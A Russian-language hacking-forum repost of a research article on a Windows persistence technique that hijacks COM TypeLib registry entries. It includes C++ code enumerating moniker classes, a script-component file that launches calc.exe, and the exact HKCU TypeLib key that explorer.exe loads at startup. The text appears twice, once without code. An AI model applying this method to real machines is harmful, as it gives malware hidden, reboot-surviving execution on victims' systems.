D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Источник: https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661
Нашёл и перенёс на XSS.IS: Эрмано
TypeLib содержит информацию о классе COM, который находится в файле. Внутри TypeLib вы можете найти список классов, интерфейсов и описаний методов. Программно вы можете использовать интерфейсы ITypeLib и ITypeInfo для взаимодействия с TypeLib.
Например, в нашем репозитории COMThanasia мы использовали эти интерфейсы для получения информации о конкретном CLSID.
Код: Скопировать в буфер обмена
В коде мы определили класс TypeLib, содержащий всего два метода, которых было достаточно для извлечения сигнатур функций класса COM.
Также вы можете изучить TypeLib с помощью TypeLibInfoTool.
Если быть немного более точным, то моникеры - это способ идентификации COM-объекта по специальному имени. Функциональность моникеров также может быть представлена внутри DLL.
Существует довольно много моникеров, которые используются хакерами для выполнения агрессивных задач. Например, существует проект LeakedWallpaper, который представляет собой LPE-эксплойт для систем Windows, использующий моникер Session. Кроме того, существуют также Elevation Monikers, позволяющие обойти UAC.
Есть и обычные моникикеры, без интересного функционала. Это Class Moniker. Class Moniker позволяет запускать COM-объект по CLSID, не более того. Вот пример использования Class Moniker.
Например, в данном случае существует COM-объект с CLSID
Если процессу требуется TypeLib, связанный с этим COM-классом, процесс начинает просматривать эти ключи реестра, чтобы найти путь к TypeLib.
Код: Скопировать в буфер обмена
После обнаружения TypeLib загружается по пути из ключа
Найденный путь передается в функцию LoadTypeLib(). Именно здесь кроется хитрость. Эта функция выполнит моникер, если получит моникер на вход. Таким образом, мы можем перехватить значение в реестре и заставить процесс выполнить наш код. Единственная сложность заключается в том, что нам нужно определить, какую библиотеку TypeLib загружает процесс.
Итак, я начал поиски. В сети не нашлось готового списка моникеров, доступных в Windows. Однако когда это было проблемой для исследователей? Согласно документации, моникеры - это все те объекты, которые реализуют интерфейс IMoniker. А сами моникеры - это фактически то же самое, что и COM-объекты. И что мешает нам создать объект, затем вызвать QueryInterface() и проверить, есть ли у этого объекта интерфейс IMoniker? Ничего! Пишем код!
C++: Скопировать в буфер обмена
Этот код берет все доступные CLSID из HKCR, затем проверяет наличие интерфейса IMoniker на объектах.
Экспериментальным путем было обнаружено, что создание некоторых объектов невозможно или приводит к аварийному завершению процесса. Я столкнулся с таким поведением при разработке проекта COMThanasia. Однако мне было лень исправлять этот код. Я решил выяснить, какие особенности характерны для обнаруженных CLSID.
Видите, какое интересное название? ClassMoniker. Moniker..... Хм... Действительно ли это отличительная особенность COM-классов, реализующих интерфейс IMoniker?
OleViewDotnet имеет удобную функциональность для группировки CLSID по имени. Я воспользовался ею и нашел множество классов, реализующих моникеры.
Среди списка этих классов был найден класс под названием "Moniker to Windows Script Component".
Пытаясь найти пример файла для системы Windows Script Component, я наткнулся на ресурс, где описывалось, что это файлы на основе XML с действиями. В этих файлах поддерживается тег script, в котором можно указать код JScript.
XML: Скопировать в буфер обмена
Мы можем удалить некоторые детали и оставить только полезную нагрузку JScript.
Основу для полезной нагрузки я взял отсюда.
XML: Скопировать в буфер обмена
Если мы используем скрипт-моникер для указания на этот файл, то создание моникера приведет к запуску процесса.
Возьмем путь, который имеет статус NAME NOT FOUND в Result.
Это HKCU\Software\Classes\TypeLib\{EAB22AC0–30C1–11CF-A7EB-0000C05BAE0B}\1.1. Как видите, такого пути нет. Давайте создадим его.
Все, что нам нужно сделать, это восстановить этот путь, указав путь к нашему файлу .sct.
Пример ключа
И в следующий раз, когда мы запустим или закроем процесс explorer.exe, наш код будет выполнен. explorer.exe - это процесс, который автоматически запускается при старте системы, так что у нас появился еще один способ получить постоянство!
Закрепление работает!
Желаю всем хорошего дня!
Нашёл и перенёс на XSS.IS: Эрмано
Что такое TypeLib?
Не секрет, что функциональность COM представлена в определенном файле: DLL-библиотеке или EXE. Однако где взять документацию по конкретному COM-классу? Именно для этого Microsoft придумала TypeLib.TypeLib содержит информацию о классе COM, который находится в файле. Внутри TypeLib вы можете найти список классов, интерфейсов и описаний методов. Программно вы можете использовать интерфейсы ITypeLib и ITypeInfo для взаимодействия с TypeLib.
Например, в нашем репозитории COMThanasia мы использовали эти интерфейсы для получения информации о конкретном CLSID.
Код: Скопировать в буфер обмена
Код:
PS A:\ssd\gitrepo\COMThanasia\ClsidExplorer\x64\Debug> .\CLSIDExplorer.exe --clsid "{00000618-0000-0010-8000-00aa006d2ea4}"
[{00000618-0000-0010-8000-00aa006d2ea4}]
AppID: Unknown
ProgID: Unknown
PID: 1572
Process Name: CLSIDExplorer.exe
Username: WINPC\\Michael
Methods:
[0] __stdcall void QueryInterface(IN GUID*, OUT void**)
[1] __stdcall unsigned long AddRef()
[2] __stdcall unsigned long Release()
[3] __stdcall void GetTypeInfoCount(OUT unsigned int*)
[4] __stdcall void GetTypeInfo(IN unsigned int, IN unsigned long, OUT void**)
[5] __stdcall void GetIDsOfNames(IN GUID*, IN char**, IN unsigned int, IN unsigned long, OUT long*)
[6] __stdcall void Invoke(IN long, IN GUID*, IN unsigned long, IN unsigned short, IN DISPPARAMS*, OUT VARIANT*, OUT EXCEPINFO*, OUT unsigned int*)
[7] __stdcall BSTR Name()
[8] __stdcall void Name(IN BSTR)
[9] __stdcall RightsEnum GetPermissions(IN VARIANT, IN ObjectTypeEnum, IN VARIANT)
[10] __stdcall void SetPermissions(IN VARIANT, IN ObjectTypeEnum, IN ActionEnum, IN RightsEnum, IN InheritTypeEnum, IN VARIANT)
[11] __stdcall void ChangePassword(IN BSTR, IN BSTR)
[12] __stdcall Groups* Groups()
[13] __stdcall Properties* Properties()
[14] __stdcall _Catalog* ParentCatalog()
[15] __stdcall void ParentCatalog(IN _Catalog*)
[16] __stdcall void ParentCatalog(IN _Catalog*)
[END]
В коде мы определили класс TypeLib, содержащий всего два метода, которых было достаточно для извлечения сигнатур функций класса COM.
Также вы можете изучить TypeLib с помощью TypeLibInfoTool.
Что такое moniker?
Моникер - это строковое представление COM-объекта. Буквально тот же самый объект, только в виде простой строки.Если быть немного более точным, то моникеры - это способ идентификации COM-объекта по специальному имени. Функциональность моникеров также может быть представлена внутри DLL.
Существует довольно много моникеров, которые используются хакерами для выполнения агрессивных задач. Например, существует проект LeakedWallpaper, который представляет собой LPE-эксплойт для систем Windows, использующий моникер Session. Кроме того, существуют также Elevation Monikers, позволяющие обойти UAC.
Есть и обычные моникикеры, без интересного функционала. Это Class Moniker. Class Moniker позволяет запускать COM-объект по CLSID, не более того. Вот пример использования Class Moniker.
"clsid:a7b90590-36fd-11cf-857d-00aa006d2ea4:"
Связывание COM и Typelib
Как COM-класс связан с TypeLib? Внутри ключа COM-объекта есть ключTypeLib
.Например, в данном случае существует COM-объект с CLSID
{EAE50EB0-4A62-11CE-BED6-00AA00611080}
, который связан с TypeLib с TypeLib ID {0D452EE1-E08F-101A-852E-02608C4D0BB4}
. Версия библиотеки TypeLib определена в ключе Version
.Если процессу требуется TypeLib, связанный с этим COM-классом, процесс начинает просматривать эти ключи реестра, чтобы найти путь к TypeLib.
Код: Скопировать в буфер обмена
Код:
HKCU\Software\Classes\TypeLib\<TypeLib ID>\<Version>
HKLM\Software\Classes\TypeLib\<TypeLib ID>\<Version>
# Ex
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0
После обнаружения TypeLib загружается по пути из ключа
0
->architecture (win32/Win64
)->Default Value
Найденный путь передается в функцию LoadTypeLib(). Именно здесь кроется хитрость. Эта функция выполнит моникер, если получит моникер на вход. Таким образом, мы можем перехватить значение в реестре и заставить процесс выполнить наш код. Единственная сложность заключается в том, что нам нужно определить, какую библиотеку TypeLib загружает процесс.
Выбираем moniker
Представим, что мы узнали, как заставить процесс загружать нужный нам моникер. Но какой моникер мы должны использовать?Итак, я начал поиски. В сети не нашлось готового списка моникеров, доступных в Windows. Однако когда это было проблемой для исследователей? Согласно документации, моникеры - это все те объекты, которые реализуют интерфейс IMoniker. А сами моникеры - это фактически то же самое, что и COM-объекты. И что мешает нам создать объект, затем вызвать QueryInterface() и проверить, есть ли у этого объекта интерфейс IMoniker? Ничего! Пишем код!
C++: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <iostream>
#include <objbase.h>
#include <combaseapi.h>
#include <objidl.h>
#include <atlbase.h>
LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo)
{
std::wcout << "Wow!! Something had broken" << std::endl;
return EXCEPTION_CONTINUE_EXECUTION;
}
bool InitializeCOM() {
HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
return SUCCEEDED(hr);
}
bool DoesObjectImplementIMoniker(REFCLSID clsid) {
IMoniker* pMoniker = nullptr;
IUnknown* pUnknown = nullptr;
HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown);
if (SUCCEEDED(hr) && pUnknown) {
hr = pUnknown->QueryInterface(IID_IMoniker, (void**)&pMoniker);
if (SUCCEEDED(hr)) {
LPOLESTR wsclsid = nullptr;
hr = StringFromCLSID(clsid, &wsclsid);
if (SUCCEEDED(hr))
{
//std::wcout << L"CLSID:" << wsclsid << std::endl;
pMoniker->Release();
pUnknown->Release();
CoTaskMemFree(wsclsid);
return true;
}
}
pUnknown->Release();
}
return false;
}
void EnumerateAllCLSID() {
HKEY hKey;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t clsidStr[39];
DWORD index = 0;
DWORD size = sizeof(clsidStr) / sizeof(clsidStr[0]);
while (RegEnumKeyEx(hKey, index, clsidStr, &size, nullptr, nullptr, nullptr, nullptr) == ERROR_SUCCESS) {
CLSID clsid;
if (CLSIDFromString(clsidStr, &clsid) == S_OK) {
if (DoesObjectImplementIMoniker(clsid)) {
LPOLESTR wsclsid = nullptr;
HRESULT hr = StringFromCLSID(clsid, &wsclsid);
if (SUCCEEDED(hr))
{
std::wcout << L"Object with CLSID " << wsclsid << L" implements IMoniker" << std::endl;
}
}
}
index++;
size = sizeof(clsidStr) / sizeof(clsidStr[0]);
}
RegCloseKey(hKey);
}
}
int main() {
if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr)
{
std::wcout << L"[-] Failed to add the exception handler!" << std::endl;
return 1;
}
if (!InitializeCOM()) {
std::cerr << "Failed to initialize COM" << std::endl;
return 1;
}
EnumerateAllCLSID();
CoUninitialize();
return 0;
}
Этот код берет все доступные CLSID из HKCR, затем проверяет наличие интерфейса IMoniker на объектах.
Экспериментальным путем было обнаружено, что создание некоторых объектов невозможно или приводит к аварийному завершению процесса. Я столкнулся с таким поведением при разработке проекта COMThanasia. Однако мне было лень исправлять этот код. Я решил выяснить, какие особенности характерны для обнаруженных CLSID.
Видите, какое интересное название? ClassMoniker. Moniker..... Хм... Действительно ли это отличительная особенность COM-классов, реализующих интерфейс IMoniker?
OleViewDotnet имеет удобную функциональность для группировки CLSID по имени. Я воспользовался ею и нашел множество классов, реализующих моникеры.
Среди списка этих классов был найден класс под названием "Moniker to Windows Script Component".
Пытаясь найти пример файла для системы Windows Script Component, я наткнулся на ресурс, где описывалось, что это файлы на основе XML с действиями. В этих файлах поддерживается тег script, в котором можно указать код JScript.
XML: Скопировать в буфер обмена
Код:
<?XML version="1.0"?>
<package>
<?component error="true" debug="true"?>
<comment>
This skeleton shows how script component elements are
assembled into a .wsc file.
</comment>
<component id="MyScriptlet">
<registration
progid="progID"
description="description"
version="version"
clsid="{00000000-0000-0000-000000000000}"/>
<reference object="progID">
<public>
<property name="propertyname"/>
<method name="methodname"/>
<event name="eventname"/>
</public>
<implements type=COMhandlerName id=internalName>
(interface-specific definitions here)
</implements>
<script language="VBScript">
<![CDATA[
dim propertyname
Function methodname()
' Script here.
End Function
]]>
</script>
<script language="JScript">
<![CDATA[
function get_propertyname()
{ // Script here.
}
function put_propertyname(newValue)
{ // Script here.
fireEvent(eventname)
}
]]>
</script>
<object id="objID" classid="clsid:00000000-0000-0000-000000000000">
<resource ID="resourceID1">string or number here</resource>
<resource ID="resourceID2">string or number here</resource>
</component>
</package>
Мы можем удалить некоторые детали и оставить только полезную нагрузку JScript.
Основу для полезной нагрузки я взял отсюда.
XML: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<scriptlet>
<Registration
description="CICADA8 RESEARCH"
progid="CICADA8"
v ersion="1.0">
</Registration>
<script language="JScript">
<![CDATA[
var WShell = new ActiveXObject("WScript.Shell");
WShell.Run("calc.exe");
]]>
</script>
</scriptlet>
Если мы используем скрипт-моникер для указания на этот файл, то создание моникера приведет к запуску процесса.
Поиск подходящей цели
Осталось только обнаружить процесс, загружающий библиотеку, которую мы можем подменить. Я открыл Process Monitor, добавил фильтры... И обнаружил, что explorer.exe постоянно пытается загрузить какие-то библиотеки TypeLib!Возьмем путь, который имеет статус NAME NOT FOUND в Result.
Это HKCU\Software\Classes\TypeLib\{EAB22AC0–30C1–11CF-A7EB-0000C05BAE0B}\1.1. Как видите, такого пути нет. Давайте создадим его.
Все, что нам нужно сделать, это восстановить этот путь, указав путь к нашему файлу .sct.
Пример ключа
И в следующий раз, когда мы запустим или закроем процесс explorer.exe, наш код будет выполнен. explorer.exe - это процесс, который автоматически запускается при старте системы, так что у нас появился еще один способ получить постоянство!
Закрепление работает!
Итог
Этот ресёрч был самым интересным, из всех, что я знаю, автор представил очень интересный метод для закрепления, также для была разработана утилита - TypeLibWalker.Желаю всем хорошего дня!